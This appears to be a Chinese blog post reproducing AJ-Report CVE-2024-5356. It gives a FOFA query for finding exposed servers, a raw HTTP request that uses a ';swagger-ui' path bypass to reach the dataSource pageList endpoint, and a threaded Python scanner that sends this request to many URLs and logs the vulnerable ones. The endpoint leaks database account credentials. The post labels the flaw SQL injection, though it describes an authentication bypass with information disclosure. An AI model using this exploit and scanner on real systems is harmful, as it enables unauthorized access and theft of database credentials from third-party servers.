AJ-Report SQL注入漏洞(CVE-2024-5356)复现

1.语法查询

fofa:

title="aj-report"

2.漏洞成因

  • com.anji.plus.gaea.curd.controller.GaeaBaseController#pageList中,直接查询dataSource的信息,并将Dto信息直接返回,这可能导致信息泄露。
  • Dto中存在Collections集合,直接将配置信息返回,可能导致敏感信息(如数据库账号密码)泄露。
  • 通过构造特定的GET请求,可以利用此漏洞获取数据库账号密码。

3.漏洞复现

POC:

GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

Connection: close

Accept-Encoding: gzip

4.检测脚本

import requests
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed

# 创建解析器
parser = argparse.ArgumentParser(description='Aj-Report Sql insertion test')
# 添加参数
parser.add_argument('-u', '--url', type=str, help='目标网址')
parser.add_argument('-f', '--file', type=str, help='网址文件')
parser.add_argument('-t', '--threads', type=int, default=5, help='线程数,默认为5')


def poc_attack(url):
    headers = {
        "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15",
        "connection": "close",
        "accept-encoding": "gzip"
    }
    attack_url = url + "/;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10"
    try:
        response = requests.get(url=attack_url, headers=headers, timeout=10)
        if response.status_code == 200 and "操作成功" in response.text:
            print(attack_url + "存在aj-report sql注入漏洞")
            with open("vuln_urls.txt", "a") as file:
                file.write(attack_url + "\n")
        else:
            print(attack_url + "不存在aj-report sql注入漏洞")
    except requests.exceptions.Timeout:
        print(f"URL: {attack_url} 请求超时,跳过...")
    except requests.exceptions.RequestException as e:
        print(f"URL: {attack_url} 请求出错:", e)


if __name__ == "__main__":
    args = parser.parse_args()
    urls = []

    if args.url:
        urls.append(args.url)
    elif args.file:
        with open(args.file, 'r') as file:
            urls.extend(file.read().splitlines())

    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        future_to_url = {executor.submit(poc_attack, url): url for url in urls}
        for future in as_completed(future_to_url):
            url = future_to_url[future]
            try:
                future.result()
            except Exception as e:
                print(f"处理 {url} 时出错:", e)

  • 13
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值